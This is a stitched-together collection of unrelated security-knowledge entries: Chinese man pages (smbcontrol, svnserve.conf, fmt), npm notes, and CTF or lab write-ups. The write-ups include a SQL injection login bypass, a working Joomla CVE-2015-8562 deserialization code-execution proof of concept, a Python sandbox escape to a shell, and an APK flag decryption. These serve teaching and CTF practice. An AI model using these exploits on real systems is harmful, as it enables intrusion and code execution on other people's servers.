.SH 《中国 Linux 论坛 man 手册页翻译计划》:
.B http://cmpp.linuxforum.net
|
sec-knowleage
|
### npm 命令
NPM的全称是Node Package Manager,是随同NodeJS一起安装的包管理和分发工具,它很方便让JavaScript开发者下载、安装、上传以及管理已经安装的包。
**装包**
```
npm install [包名]@3.9.1 --save
//简写:npm i
//@3.9.1:指定版本号
//--save:将包添加到packae.json
```
**安装工具**
```
npm install [包名]@3.9.1 --save-dev
//简写:-D
```
**全局安装**
```
npm install [包名] --global
//简写:-g
```
**卸载**
```
npm uninstall [包名]
```
删除全局环境下的包:
```
npm uninstall [包名] -g
```
**查看全局插件命令**:
```
npm list -g --depth
//简写:npm ls -g
```
查看模块版本
```
npm version
//简写:npm -v
```
检查模块是否已经过时
```
npm outdated
```
|
sec-knowleage
|
.\" This manpage has been automatically generated by docbook2man-spec
.\" from a DocBook document. docbook2man-spec can be found at:
.\" <http://shell.ipoline.com/~elmert/hacks/docbook2X/>
.\" Please send any bug reports, improvements, comments, patches,
.\" etc. to Steve Cheng <steve@ggi-project.org>.
.TH SMBCONTROL 1 "17 Apr 2001" "smbcontrol 2.2.0"
.SH NAME
smbcontrol \- 向smbd或nmbd进程发送消息
.SH 总览
.sp
\fBsmbcontrol\fR [ \fB-i\fR ]
.sp
\fBsmbcontrol\fR [ \fB目标\fR ] [ \fB消息类型\fR ] [ \fB参数\fR ]
.SH 描述
.PP
这个工具是是Samba组件的一部分。
.PP
\fBsmbcontrol\fR是个很小的程序,用它可以向系统上运行的smbd(8)
或nmbd(8)进程发送消息。
.SH 选项
.TP
\fB-i\fR
以交互方式运行。在标准输入上可以输入单独的``目标 消息类型 参
数''形式的命令,输入空行或``q''字符退出程序。
.TP
\fB目标\fR
\fInmbd\fR或\fIsmbd\fR或进程ID。
如果使用\fIsmbd\fR目标,则向所有smbd进程广播消息。
如果使用\fInmbd\fR目标,则向\fInmbd.pid\fR指定的nmbd进程发送
消息。
如果使用一个进程ID,则只向该进程发送消息。
.TP
\fB消息类型\fR
有这几种类型:debug、force-election、ping、profile、debuglevel、
profilelevel、printer-notify。
debug消息:可以把调试等级设为参数所指定的值。可以向所有目标发送
这种类型的消息。
force-election消息:只能向nmbd发送。这种消息使\fBnmbd\fR进程强
制进行一次新的主浏览器选举。
ping消息:发送指定数量的\(lqping\(rq并等待相同数量的回复。可以向所
有目标发送这种类型的消息。
profile消息:使用参数通知smbd来修改profile的配置。参数为\(lqon\(rq 则获取
profile状态,\(lqoff\(rq则反之,\(lqcount\(rq为只获取计数状态(禁止时间状
态),\(lqflush\(rq把当前profile的状态清零。
debuglevel消息:发送\(lq请求调试等级\(rq消息,再由一个这种类型的消
息返回当前设置的调试等级。可以向所有目标发送这种类型的消息。
profilelevel消息:发送\(lq请求profile等级\(rq消息,再由一个这种类
型的消息返回当前设置的profile等级可以向所有目标发送这种类型的
消息。
printer-notify消息:通知smbd进程向连接到打印机的NT客户机轮流
发送打印机通告消息。使用这种消息要把打印机名作为参数。
.TP
\fB参数\fR
使用消息类型所需的任何参数。
.SH 版本
.PP
此手册页是针对samba2.2所写的。
.SH 参见
.PP
\fBnmbd(8)\fR和\fBsmbd(8)\fR。
.SH 作者
.PP
Samba软件和相关工具最初由Andrew Tridgell编写。现在,它是按开
源软件的形式进行开发的。
.PP
Samba手册页的原作者是Karl Auer。这些文档已被转换成YODL(一种
极好的开放源代码软件,可以在ftp://ftp.icce.rug.nl/pub/unix/
处获得)格式,并已由Jeremy Allison更新到samba2.0版本。Gerald
Carter完成了Samba 2.2的DocBook转化工作。
.SH "[中文版维护人]"
.B meaculpa <meaculpa@21cn.com>
.SH "[中文版最新更新]"
2001/05/24
.SH "[中国 Linux 论坛 man 手册页翻译计划]"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
.\" You can view this file with:
.\" nroff -man [filename]
.\"
.TH svnserve.conf 5
.SH NAME
svnserve.conf \- snvserve 的仓库配置文件
.SH "SYNOPSIS 总览"
.TP
\fIrepository-path\fP\fB/conf/svnserve.conf\fP
.SH "DESCRIPTION 描述"
每个代码仓库都有一个 \fBsvnserve.conf\fP 文件来控制 \fBsvnserve\fP 守护进程的行为。这个文件位于仓库的 \fBconf\fP 子目录。
.PP
文件的结构与 Subversion 用户配置文件的结构类似。顶层是段落 (section),以方括号中的词指定;每个段落之中是 ``variable=value'' 形式的变量定义。以 `#' 开头的行被忽略。\fBsvnserve.conf\fP 当前只使用一个段落,称为 ``general'',并且支持如下变量:
.PP
.TP 5
\fBanon-access\fP = \fBnone\fP|\fBread\fP|\fBwrite\fP
决定非授权用户的访问级别。\fBwrite\fP 访问允许所有的仓库操作。\fBread\fP 访问允许所有操作,除了提交和修改版本属性。\fBnone\fP 不允许任何访问。默认级别是 \fBread\fP。
.PP
.TP 5
\fBauth-access\fP = \fBnone\fP|\fBread\fP|\fBwrite\fP
决定授权用户的访问级别,使用与上面相同的访问级别。默认级别是 \fBwrite\fP。
.PP
.TP 5
\fBpassword-db\fP = \fIfilename\fP
设置密码数据库的位置。\fIfilename\fP 可能是相对仓库中 conf 目录的位置。没有默认值。密码数据库的格式与本文件相似。它只有一个段落 ``users'';段落中的每个变量是一个用户名,每个值是一个密码。
.PP
.TP 5
\fBrealm\fP = \fIrealm\-name\fP
设置仓库的授权域 (realm)。如果两个仓库拥有相同的密码数据库,它们应当在同一个域中,反之亦然;这样的关联可以允许客户端为多个仓库使用单一的密码缓存。默认域的值是仓库的路径,相对于服务器进程的虚根目录。
.SH "EXAMPLE 范例"
下列范例 \fBsvnserve.conf\fP 允许认证用户的读访问,禁止匿名用户的访问,指向相同目录中的密码数据库,定义了一个授权域名。
.PP
.nf
[general]
anon-access = none
auth-access = read
password-db = passwd
realm = My First Repository
.fi
.PP
``passwd'' 文件可能是这样:
.PP
.nf
[users]
joeuser = joepassword
jayrandom = randomjay
.fi
.SH "SEE ALSO 参见"
.BR svnserve (8)
|
sec-knowleage
|
# Irish-Name-Repo 1
Web Exploitation, 300 points
## Description:
> There is a website running at http://2019shell1.picoctf.com:4162. Do you think you can log us in? Try to see if you can login!
## Solution:
The website offered an admin login page:
```html
<form action="login.php" method="POST">
<fieldset>
<div class="form-group">
<label for="username">Username:</label>
<input type="text" id="username" name="username" class="form-control">
</div>
<div class="form-group">
<label for="password">Password:</label>
<div class="controls">
<input type="password" id="password" name="password" class="form-control">
</div>
</div>
<input type="hidden" name="debug" value="0">
<div class="form-actions">
<input type="submit" value="Login" class="btn btn-primary">
</div>
</fieldset>
</form>
```
In order to bypass the authentication logic, all we needed to do is provide a classic SQLi string:
```console
root@kali:/media/sf_CTFs/pico/Irish-Name-Repo_1# curl "https://2019shell1.picoctf.com/problem/4162/login.php" --data "username=admin&password='+or+1=1--" && echo
<h1>Logged in!</h1><p>Your flag is: picoCTF{s0m3_SQL_96ab211c}</p>
```
It was also possible to set the `debug` parameter in order to inspect the SQL statement:
```console
root@kali:/media/sf_CTFs/pico/Irish-Name-Repo_1# curl "https://2019shell1.picoctf.com/problem/4162/login.php" --data "username=admin&password='+or+1=1--&debug=1" && echo
<pre>username: admin
password: ' or 1=1--
SQL query: SELECT * FROM users WHERE name='admin' AND password='' or 1=1--'
</pre><h1>Logged in!</h1><p>Your flag is: picoCTF{s0m3_SQL_96ab211c}</p>
```
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH FMT 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
fmt \- 简单的文本优化格式化工具
.SH 概述
\fBfmt\fP [\fI\,\-宽度\/\fP] [\fI\,选项\/\fP]... [\fI\,文件\/\fP]...
.SH 描述
.\" Add any additional description here
.PP
对给定文件的每一段进行重新格式化,写入到标准输出。选项“\fB\-宽度\fP”是“\fB\-\-width\fP=\fI\,宽度数字\/\fP”的缩写。
.PP
如果没有指定文件,或者指定文件为“\-”,则从标准输入读取。
.PP
必选参数对长短选项同时适用。
.TP
\fB\-c\fP, \fB\-\-crown\-margin\fP
保持前两行的缩进
.TP
\fB\-p\fP, \fB\-\-prefix\fP=\fI\,STRING\/\fP
只对以指定字符串开头的行重新格式化,将前缀重新附着到被重新格式化的行上
.TP
\fB\-s\fP, \fB\-\-split\-only\fP
分割过长的行,但不自动补足
.TP
\fB\-t\fP, \fB\-\-tagged\-paragraph\fP
对第一行进行缩进以和第二行区分
.TP
\fB\-u\fP, \fB\-\-uniform\-spacing\fP
单词间保留一个空格,每句之后保留两个空格
.TP
\fB\-w\fP, \fB\-\-width\fP=\fI\,宽度\/\fP
最大行宽(默认为 75 列)
.TP
\fB\-g\fP, \fB\-\-goal\fP=\fI\,目标宽度\/\fP
目标宽度(默认为上述最大行宽的 93%)
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.SH 作者
由 Ross Paterson 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。
.SH 参见
完整文档请见: <https://www.gnu.org/software/coreutils/fmt>
.br
或者在本地使用: info \(aq(coreutils) fmt invocation\(aq
|
sec-knowleage
|
# Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)
Joomla是一个开源免费的内容管理系统(CMS),基于PHP开发。
本漏洞根源是PHP5.6.13前的版本在读取存储好的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。
通过Joomla中的Gadget,可造成任意代码执行的结果。
详情可参考:
- https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html
影响版本
- Joomla 1.5.x, 2.x, and 3.x before 3.4.6
- PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45
## 测试环境
启动测试环境:
```
docker compose up -d
```
启动后访问`http://your-ip:8080/`即可看到Joomla的首页,包含测试数据。
## 漏洞复现
然后我们不带User-Agent头,先访问一次目标主页,记下服务端返回的Cookie:

再用如下脚本生成POC:([在线运行](https://onlinephp.io/c/e824b))
```php
<?php
class JSimplepieFactory {
}
class JDatabaseDriverMysql {
}
class SimplePie {
var $sanitize;
var $cache;
var $cache_name_function;
var $javascript;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
$this->javascript = 9999;
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
$this->cache = true;
}
}
class JDatabaseDriverMysqli {
protected $a;
protected $disconnectHandlers;
protected $connection;
function __construct()
{
$this->a = new JSimplepieFactory();
$x = new SimplePie();
$this->connection = 1;
$this->disconnectHandlers = [
[$x, "init"],
];
}
}
$a = new JDatabaseDriverMysqli();
$poc = serialize($a);
$poc = str_replace("\x00*\x00", '\\0\\0\\0', $poc);
echo "123}__test|{$poc}\xF0\x9D\x8C\x86";
```

将生成好的POC作为User-Agent,带上第一步获取的Cookie发包,这一次发包,脏数据进入Mysql数据库。然后同样的包再发一次,我们的代码被执行:

|
sec-knowleage
|
# Rotaluklak (pwn)
A very nice Python exploitation challenge.
We get access to a service and it's [source code](source.py)
The important part of the code is:
```python
multiply = operator.mul
divide = operator.div
idivide = operator.truediv
add = operator.add
subtract = operator.sub
xor = operator.xor
power = operator.pow
wumbo = lambda _, x, y: int((str(x) + str(y)) * x)
def evaluate(self, expr, debug=False):
expr = expr.split()
stack = []
for token in expr:
try:
# If the token is a number, push it onto the stack.
stack.append(int(token))
except ValueError:
# This is an operator call the appropriate function
y = stack.pop()
x = stack.pop()
stack.append(operator.attrgetter(token)(self)(x, y))
return stack[0]
```
The service takes our input, splits tokens by space and then evaluates them as Reverse Polish Notation inputs.
It seems we can only pass integer arguments and call only 2-argument functions from `self`.
There are a couple of important points here:
1. Due to how `operator.attrgetter` works we can access properties recursively here - we can pass `x.y.z` to access `self.x.y.z`
2. We can access ANY property of the `self` object, not only functions we can see in the source code.
3. While arguments we pass directly in input can be only integers, we can place any object on the stack, as long as this object is returned from function we call
As usual in such challenges we try to figure out how to get access to `__builtins__` module and then use `__import__` to get something like `os` or `subprocess`.
There is not much to work with, but there is `wumbo` lambda function, which contains `func_globals` dictionary.
In this dictionary we have `__builtins__` module we want.
The problem is we can't use `['__builtins__']` in `operator.attrgetter` parameter, we can only access direct properties.
Our idea is to call `wumbo.func_globals.get` with 2 arguments `__builtins__` and some random integer, which will return the module we want.
Now to do this we need to have a string on the stack, so we can use it as an argument.
We will need more strings, so it's a good idea to make a function which can create arbitrary strings on the stack.
To achieve this we will use `__doc__.__getslice__`.
It's quite obvious the intended way, because `__doc__` contains all possible characters.
We use `__getslice__` for simplicity, as it actually takes 2 arguments.
So to get some letters on the stack we can just use payload `x y __getslice__` and the evaluator will place `__doc__[x:y]` on the stack.
Of course there are no whole words we need in the docstring, so we'll have to combine those from single letters.
In order to combine them we can just use `add` function.
So if we do:
`x y __getslice__ z v __getslice__ add`
We will get word `__doc__[x:y]+__doc__[z:v]` on the stack.
The final function is just:
```python
def string_generator(payload):
result = []
c = Calculator()
data = c.__doc__
for character in payload:
index = data.index(character)
result.append((str(index), str(index + 1), "__doc__.__getslice__"))
result.append(('add',) * (len(payload) - 1))
return " ".join([" ".join([y for y in x]) for x in result])
```
Now back to our initial problem - we want to get `__builtins__` module.
Since we can genrate strings now, we can just send payload `string_generator("__builtins__")+' 1 wumbo.func_globals.get'` and voila, we get module on the stack.
Now the problem is, how can we use this?
Again, the function to call or properties to extract can come only from `self`.
Fortunately python allows to monkey-patch anything, so we can just create a new property on object `self` using `self.__setattr__` function.
This functions requires 2 arguments - name of the property and value.
So we can chain this with our previous payload to get:
```python
string_generator("b")+' '+string_generator("__builtins__")+' 1 wumbo.func_globals.get __setattr__ '
```
And this will create a new property `b` on object `self` and assign the `__builtins__` module there.
Downside of this, is that setattr pushes None on the stack, and from now on we won't get echo, since top of the stack will be None.
Property is there, we can do `b.__import__` to access import function.
We can call this function on some module we want, for example `os` to get this module on the stack again.
```python
string_generator("b")+' '+string_generator("__builtins__")+' 1 wumbo.func_globals.get __setattr__ '+string_generator("os")+' 1 b.__import__')
```
Again we need to assign this module to some property in order to be able to access it, so we do:
```python
string_generator("b")+' '+string_generator("__builtins__")+' 1 wumbo.func_globals.get __setattr__ '+string_generator("s")+ ' '+string_generator("os")+' 1 b.__import__ __setattr__')
```
And voila, we have `os` module set as `self.s` property.
We want to call `os.execl("/bin/bash","x")`, so what we do is simply place two strings as arguments on the stack and then call the function:
```python
string_generator("b")+' '+string_generator("__builtins__")+' 1 wumbo.func_globals.get __setattr__ '+string_generator("s")+ ' '+string_generator("os")+' 1 b.__import__ __setattr__ '+ string_generator("/bin/bash") + ' ' + string_generator("x") + ' s.execl'
```
This gives us the final payload of:
```
358 359 __doc__.__getslice__ 1772 1773 __doc__.__getslice__ 1772 1773 __doc__.__getslice__ 358 359 __doc__.__getslice__ 93 94 __doc__.__getslice__ 81 82 __doc__.__getslice__ 91 92 __doc__.__getslice__ 96 97 __doc__.__getslice__ 81 82 __doc__.__getslice__ 120 121 __doc__.__getslice__ 82 83 __doc__.__getslice__ 1772 1773 __doc__.__getslice__ 1772 1773 __doc__.__getslice__ add add add add add add add add add add add 1 wumbo.func_globals.get __setattr__ 82 83 __doc__.__getslice__ 97 98 __doc__.__getslice__ 82 83 __doc__.__getslice__ add 1 b.__import__ __setattr__ 1787 1788 __doc__.__getslice__ 358 359 __doc__.__getslice__ 81 82 __doc__.__getslice__ 120 121 __doc__.__getslice__ 1787 1788 __doc__.__getslice__ 358 359 __doc__.__getslice__ 87 88 __doc__.__getslice__ 82 83 __doc__.__getslice__ 80 81 __doc__.__getslice__ add add add add add add add add 112 113 __doc__.__getslice__ s.execl
```
Whe we send this payload to the server, we will invoke `os.execl("/bin/bash","x")` and therefore gain shell.
We can just cat the flag there: `Flag:r3vers3_p0lish_eXpl01tS!`
Initially we wanted to use `subprocess.check_output()` instead of `os.execl()`, but as mentioned earlier `setattr` places None on the stack, and therefore the result of the command is not on the top, and we can't see it.
It was easier to use `os.execl()` than to figure out how to pop those Nones, or how to start a reverse shell on the target machine.
|
sec-knowleage
|
# Agent Man
Category: Mobile, 200 Points
## Description
>
> --- TRANSMISSION START---
>
> Special Agent;
> ...
> Exciting news!
>
> The wire is bustling with chatter about 'little green men' and how they were able to make their presence felt across the globe.
>
> Your mission is to locate the group and find a way to uncover their secrets.
>
> Attached is a sample gathered by our brave field-agents, best of luck;
>
> --- TRANSMISSION END ---
An apk was attached.
## Solution
Let's extract the APK:
```console
root@kali:/media/sf_CTFs/matrix/Agent_Man# ~/utils/jadx/build/jadx/bin/jadx -d output agentman.apk
INFO - loading ...
INFO - processing ...
ERROR - finished with errors, count: 1
```
We get lots of files, but the interesting ones are here:
```console
root@kali:/media/sf_CTFs/matrix/Agent_Man/output/sources/com/jagent# tree
.
└── javaagent
├── BuildConfig.java
├── DownloadFile.java
├── MainActivity.java
└── R.java
1 directory, 4 files
```
`MainActivity.java` contains:
```java
package com.jagent.javaagent;
import android.os.Bundle;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;
public class MainActivity extends AppCompatActivity {
public native String agentMan(String str);
static {
System.loadLibrary("agent");
}
/* access modifiers changed from: protected */
@Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_main);
TextView textView = (TextView) findViewById(R.id.mainText);
String str = new DownloadFile().get("https://ctfroom.matrixcyberlabs.com/agent");
if (str.isEmpty()) {
textView.setText(agentMan(null));
} else {
textView.setText(agentMan(str));
}
}
}
```
The main function downloads a file from a remote server, then calls `agentMan` and sets the text on the screen based on the return value of this function.
`DownloadFile.java` is simply:
```java
package com.jagent.javaagent;
public class DownloadFile {
/* access modifiers changed from: package-private */
public String get(String str) {
return "NULL";
}
}
```
So given this implementation, we can see that `DownloadFile` will return the string `"NULL"` which will get assigned to `str`. Therefore, `agentMan("NULL")` will be called and its return value will be displayed on the screen. What will it display? We can run the application in an emulator and see:

Well, it just prints "Nope". But where is the implementation? We can see that `agentMan` is declared as `native`:
```java
public native String agentMan(String str);
```
This means that we can find it under one of the native libraries of the application:
```console
root@kali:/media/sf_CTFs/matrix/Agent_Man/output# grep -r agentMan
Binary file resources/classes.dex matches
Binary file resources/lib/arm64-v8a/libagent.so matches
Binary file resources/lib/armeabi-v7a/libagent.so matches
Binary file resources/lib/x86/libagent.so matches
Binary file resources/lib/x86_64/libagent.so matches
sources/com/jagent/javaagent/MainActivity.java: public native String agentMan(String str);
sources/com/jagent/javaagent/MainActivity.java: textView.setText(agentMan(null));
sources/com/jagent/javaagent/MainActivity.java: textView.setText(agentMan(str));
```
We'll choose `x86/libagent.so`, let's open it in Ghidra:
```c
undefined4
Java_com_jagent_javaagent_MainActivity_agentMan
(_JNIEnv *param_1,undefined4 param_2,_jstring *param_3)
{
char *pcVar1;
char *pcVar2;
int in_GS_OFFSET;
int local_144;
undefined4 local_130;
basic_string<char,std--__ndk1--char_traits<char>,std--__ndk1--allocator<char>> local_11c [16];
int local_10c;
int local_108;
basic_string<char,std--__ndk1--char_traits<char>,std--__ndk1--allocator<char>> local_104 [16];
basic_string<char,std--__ndk1--char_traits<char>,std--__ndk1--allocator<char>> local_f4 [14];
byte local_e6 [42];
undefined4 local_bc [42];
int local_14;
local_14 = *(int *)(in_GS_OFFSET + 0x14);
pcVar1 = (char *)_JNIEnv::GetStringUTFChars(param_1,param_3,(uchar *)0x0);
std::__ndk1::basic_string<char,std--__ndk1--char_traits<char>,std--__ndk1--allocator<char>>::
basic_string<decltype(nullptr)>(local_f4,"NULL");
if (pcVar1 != (char *)0x0) {
pcVar2 = (char *)FUN_00018780(local_f4);
pcVar2 = strstr(pcVar1,pcVar2);
if (pcVar2 == (char *)0x0) {
local_108 = 0x1ce9;
memcpy(local_bc,&DAT_000387f4,0xa8);
memset(local_e6,0,0x2a);
local_10c = (int)((int)&local_14 - (int)local_bc) >> 2;
local_144 = 0;
while (local_144 < local_10c) {
local_e6[local_144] = (byte)local_bc[local_144] ^ pcVar1[(local_144 + 2) * local_108];
local_144 = local_144 + 1;
}
/* try { // try from 00018542 to 00018561 has its CatchHandler @ 00018420 */
std::__ndk1::basic_string<char,std--__ndk1--char_traits<char>,std--__ndk1--allocator<char>>::
basic_string<decltype(nullptr)>(local_11c,"Secret, Agent Man!");
/* try { // try from 00018573 to 000185c2 has its CatchHandler @ 000185fd */
_JNIEnv::ReleaseStringUTFChars(param_1,param_3,pcVar1);
pcVar1 = (char *)FUN_00018780(local_11c);
local_130 = _JNIEnv::NewStringUTF(param_1,pcVar1);
std::__ndk1::basic_string<char,std--__ndk1--char_traits<char>,std--__ndk1--allocator<char>>::
~basic_string(local_11c);
goto LAB_00018622;
}
}
/* try { // try from 0001838b to 000183aa has its CatchHandler @ 00018420 */
std::__ndk1::basic_string<char,std--__ndk1--char_traits<char>,std--__ndk1--allocator<char>>::
basic_string<decltype(nullptr)>(local_104,"Nope");
pcVar1 = (char *)FUN_00018780(local_104);
/* try { // try from 000183ce to 000183e5 has its CatchHandler @ 00018431 */
local_130 = _JNIEnv::NewStringUTF(param_1,pcVar1);
std::__ndk1::basic_string<char,std--__ndk1--char_traits<char>,std--__ndk1--allocator<char>>::
~basic_string(local_104);
LAB_00018622:
std::__ndk1::basic_string<char,std--__ndk1--char_traits<char>,std--__ndk1--allocator<char>>::
~basic_string(local_f4);
if (*(int *)(in_GS_OFFSET + 0x14) == local_14) {
return local_130;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
```
We can see the "Nope" here:
```c
basic_string<decltype(nullptr)>(local_104,"Nope");
```
We also see another string that can get printed:
```c
basic_string<decltype(nullptr)>(local_11c,"Secret, Agent Man!");
```
But what's most interesting is this code, which seems to perform some kind of basic XOR decryption:
```c
while (local_144 < local_10c) {
local_e6[local_144] = (byte)local_bc[local_144] ^ pcVar1[(local_144 + 2) * local_108];
local_144 = local_144 + 1;
}
```
The XOR is between `pcVar1` which seems to come from the function argument (i.e. what `DownloadFile().get` returned) and `local_bc` which essentially comes from a global array - `DAT_000387f4`:
```assembly
DAT_000387f4 XREF[2]: Java_com_jagent_javaagent_MainAc
Java_com_jagent_javaagent_MainAc
000387f4 a5 ?? A5h
000387f5 00 ?? 00h
000387f6 00 ?? 00h
000387f7 00 ?? 00h
000387f8 bc ?? BCh
000387f9 00 ?? 00h
000387fa 00 ?? 00h
000387fb 00 ?? 00h
000387fc bc ?? BCh
000387fd 00 ?? 00h
000387fe 00 ?? 00h
000387ff 00 ?? 00h
00038800 a1 ?? A1h
00038801 00 ?? 00h
00038802 00 ?? 00h
00038803 00 ?? 00h
; ...
00038894 e1 ?? E1h
00038895 00 ?? 00h
00038896 00 ?? 00h
00038897 00 ?? 00h
00038898 55 ?? 55h U
00038899 00 ?? 00h
0003889a 00 ?? 00h
0003889b 00 ?? 00h
```
Well, right now we don't execute this code at all, since `DownloadFile().get` returns the string `"NULL"`, and the code explicitly checks for this (via `strstr`) and skips to the part that prints `"Nope"`. But, if we return something else from `DownloadFile().get`, we will execute the decryption code. What should it return? The answer is probably the file it was requested to download. In our case, `https://ctfroom.matrixcyberlabs.com/agent`.
```console
root@kali:/media/sf_CTFs/matrix/Agent_Man# curl https://ctfroom.matrixcyberlabs.com/agent
<!DOCTYPE html>
<html>
<head>
<style type="text/css">
#bg {
background: no-repeat center center fixed;
-webkit-background-size: cover;
-moz-background-size: cover;
-o-background-size: cover;
background-size: cover;
width:100%;
height:100%;
}
</style>
<title>Matrix Cyber-Labs CTF</title>
<!-- Google Tag Manager -->
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-WCPGJ25');</script>
<!-- End Google Tag Manager -->
</head>
<body>
<div style="text-align: center">
<img src="/static/bc3403beec4074fb96466a557dfb7e53/digDeeper.jpg" id="bg"/>
<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WCPGJ25"
height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->
</div>
</body>
</html>
```
We can see that this is a simple HTML page with a single image in it. Now, we can choose to proceed in two ways:
* Implement `DownloadFile().get` (using [frida](https://frida.re/) for example) by having it download the file and return it, then run the application in an emulator and see what happens
* Download the file, extract the decryption code and decrypt the message offline
The second option seems simple enough, we'll go for it.
```console
root@kali:/media/sf_CTFs/matrix/Agent_Man# wget https://ctfroom.matrixcyberlabs.com/static/bc3403beec4074fb96466a557dfb7e53/digDeeper.jpg
--2021-03-02 23:06:59-- https://ctfroom.matrixcyberlabs.com/static/bc3403beec4074fb96466a557dfb7e53/digDeeper.jpg
Resolving ctfroom.matrixcyberlabs.com (ctfroom.matrixcyberlabs.com)... 89.237.91.77
Connecting to ctfroom.matrixcyberlabs.com (ctfroom.matrixcyberlabs.com)|89.237.91.77|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1610554 (1.5M) [image/jpeg]
Saving to: ‘digDeeper.jpg’
digDeeper.jpg 100%[==================================================================================================================>] 1.54M 388KB/s in 4.1s
2021-03-02 23:07:03 (380 KB/s) - ‘digDeeper.jpg’ saved [1610554/1610554]
```
We also need the global array, `radare2` can print it in Python syntax:
```
[0x00008270]> pcp 0xa8 @ 0x287f4
import struct
buf = struct.pack ("168B", *[
0xa5,0x00,0x00,0x00,0xbc,0x00,0x00,0x00,0xbc,0x00,0x00,
0x00,0xa1,0x00,0x00,0x00,0x5c,0x00,0x00,0x00,0x6c,0x00,
0x00,0x00,0xdc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,
0x00,0x00,0x00,0x16,0x00,0x00,0x00,0x9c,0x00,0x00,0x00,
0x42,0x00,0x00,0x00,0x2d,0x00,0x00,0x00,0x28,0x00,0x00,
0x00,0xdb,0x00,0x00,0x00,0xc8,0x00,0x00,0x00,0xc0,0x00,
0x00,0x00,0x27,0x00,0x00,0x00,0x21,0x00,0x00,0x00,0x29,
0x00,0x00,0x00,0x41,0x00,0x00,0x00,0x08,0x00,0x00,0x00,
0x19,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x44,0x00,0x00,
0x00,0x8b,0x00,0x00,0x00,0x1c,0x00,0x00,0x00,0x2f,0x00,
0x00,0x00,0x27,0x00,0x00,0x00,0x1f,0x00,0x00,0x00,0x03,
0x00,0x00,0x00,0xb2,0x00,0x00,0x00,0x3d,0x00,0x00,0x00,
0xf3,0x00,0x00,0x00,0xed,0x00,0x00,0x00,0x14,0x00,0x00,
0x00,0x15,0x00,0x00,0x00,0xfe,0x00,0x00,0x00,0x2b,0x00,
0x00,0x00,0xd6,0x00,0x00,0x00,0xe1,0x00,0x00,0x00,0x55,
0x00,0x00,0x00])
```
All that's left is to XOR the values according to the recipe:
```python
import mmap, struct, os
def memory_map(filename, access=mmap.ACCESS_READ):
size = os.path.getsize(filename)
fd = os.open(filename, os.O_RDONLY)
return mmap.mmap(fd, size, access=access)
buf = struct.pack ("168B", *[
0xa5,0x00,0x00,0x00,0xbc,0x00,0x00,0x00,0xbc,0x00,0x00,
0x00,0xa1,0x00,0x00,0x00,0x5c,0x00,0x00,0x00,0x6c,0x00,
0x00,0x00,0xdc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,
0x00,0x00,0x00,0x16,0x00,0x00,0x00,0x9c,0x00,0x00,0x00,
0x42,0x00,0x00,0x00,0x2d,0x00,0x00,0x00,0x28,0x00,0x00,
0x00,0xdb,0x00,0x00,0x00,0xc8,0x00,0x00,0x00,0xc0,0x00,
0x00,0x00,0x27,0x00,0x00,0x00,0x21,0x00,0x00,0x00,0x29,
0x00,0x00,0x00,0x41,0x00,0x00,0x00,0x08,0x00,0x00,0x00,
0x19,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x44,0x00,0x00,
0x00,0x8b,0x00,0x00,0x00,0x1c,0x00,0x00,0x00,0x2f,0x00,
0x00,0x00,0x27,0x00,0x00,0x00,0x1f,0x00,0x00,0x00,0x03,
0x00,0x00,0x00,0xb2,0x00,0x00,0x00,0x3d,0x00,0x00,0x00,
0xf3,0x00,0x00,0x00,0xed,0x00,0x00,0x00,0x14,0x00,0x00,
0x00,0x15,0x00,0x00,0x00,0xfe,0x00,0x00,0x00,0x2b,0x00,
0x00,0x00,0xd6,0x00,0x00,0x00,0xe1,0x00,0x00,0x00,0x55,
0x00,0x00,0x00])
# Unpack as little endian integers
local_bc = struct.unpack(f"<{str(len(buf)//4)}I", buf)
flag = ""
with memory_map("digDeeper.jpg") as pcVar1:
local_108 = 0x1ce9
for i, x in enumerate(local_bc):
flag += chr(local_bc[i] ^ pcVar1[(i + 2) * local_108])
print(flag)
```
Output:
```console
root@kali:/media/sf_CTFs/matrix/Agent_Man# python3 solve.py
